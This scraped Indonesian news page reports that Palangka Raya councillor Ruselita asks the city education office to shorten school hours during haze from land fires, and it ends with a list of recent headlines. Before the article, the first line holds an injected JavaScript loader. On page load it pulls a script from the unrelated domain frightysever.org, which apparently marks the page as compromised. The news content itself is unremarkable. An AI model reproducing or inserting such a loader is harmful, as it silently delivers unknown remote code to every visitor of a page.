(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

Anggota DPRD Kota Palangka Raya Minta Pengurangan Jam Belajar di Sekolah Akibat Kabut Asap


KANALKALIMANTAN.COM, PALANGKARAYA – Anggota DPRD Kota Palangka Raya, Kalimantan Tengah, Ruselita, telah meminta Dinas Pendidikan setempat untuk mengurangi jam belajar di sekolah sebagai tanggapan terhadap buruknya kualitas udara akibat kabut asap di kota tersebut.

“Hari ini, kualitas udara di daerah kita sudah tidak sehat dan berbahaya bagi mereka yang menderita penyakit ISPA. Oleh karena itu, Disdik Kota Palangka Raya sebaiknya bisa menginstruksikan setiap satuan pendidikan untuk mengurangi jam belajarnya,” ujarnya di Palangka Raya pada hari Selasa.

Ruselita, seorang legislator yang dikenal dengan penampilannya yang cantik, menjelaskan bahwa kualitas udara di daerah setempat telah memburuk karena adanya partikel debu dari kebakaran lahan yang belakangan ini sering terjadi.

Selanjutnya, jika kualitas udara terus memburuk, maka sebaiknya Disdik mempertimbangkan untuk menghentikan sementara pembelajaran tatap muka dan beralih ke sistem pembelajaran online atau pembelajaran jarak jauh (PJJ).

“Namun, kami berharap agar tidak perlu menerapkan PJJ. Yang terpenting saat ini adalah pemadaman kebakaran hutan dan lahan di daerah kita agar kualitas udara kembali normal,” tambahnya.

Politisi dari Partai Perindo ini juga menekankan bahwa asap dari kebakaran hutan dan lahan yang saat ini menyelimuti Kota Palangka Raya sangat berbahaya bagi kesehatan manusia. Oleh karena itu, masyarakat di daerah tersebut diimbau untuk menggunakan masker ketika beraktivitas di luar.

Langkah ini diambil untuk menghindari penyakit ISPA, yang dapat menyerang saluran pernapasan manusia, terutama anak-anak yang rentan terhadap penyakit tersebut.

“Informasi yang saya terima menyebutkan bahwa menghirup kabut asap dapat meningkatkan risiko asma, gangguan pernapasan, bahkan serangan jantung. Ini sangat mengkhawatirkan, terutama bagi anak-anak usia sekolah,” pungkas Ruselita.(www.kanalkalimantan.com/hms)

Editor : kk


Muhammad Andi

Recent Posts

PDIP Banjarbaru Tak Usung Kader, Sodorkan Dua Nama Perempuan Balon Wali Kota ke DPP

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Cabang (DPC) Partai Demokrasi Indonesia Perjuangan (PDIP) Banjarbaru mengantongi dua… Read More

2 jam ago

Mayat Lelaki di Bawah Jembatan Jalan Banjarbaru-Batulicin Desa Rantau Bujur, Motor Bebek Parkir Sejak Kamis

KANALKALIMANTAN.COM, MARTAPURA - Sesosok mayat lelaki ditemukan tertindih beton, tepatnya di bawah jembatan box culvert… Read More

4 jam ago

Aksi Bersihkan Sampah di Siring Sungai Besar, Peduli Lingkungan Pegawai PLN Bersama Warga

KANALKALIMANTAN.COM, BANJARBARU - PT PLN Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan menggandeng warga… Read More

4 jam ago

Acil Odah-Rozanie Kantongi SK Rekomendasi DPP Nasdem

Nasdem Punya 10 Kursi, Tinggal 1 Kursi Tambahan Partai Koalisi Pilgub Kalsel 2024 Read More

6 jam ago

7 PKBM di Banjarbaru Luluskan 1.072 Peserta Didik Program Paket, Ini Pesan Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Ribuan peserta didik program Pendidikan Kesetaraan (Paket) di Kota Banjarbaru resmi dikukuhkan… Read More

6 jam ago

DPP Nasdem Keluarkan 7 Rekomendasi untuk Pilkada Kalsel 2024, Ini Daftarnya

KANALKALIMANTAN.COM, JAKARTA - Badan Pemenangan Pemilu (Bappilu) DPP Partai Nasional Demokrat (Nasdem) mengeluarkan 7 rekomendasi… Read More

6 jam ago

This website uses cookies.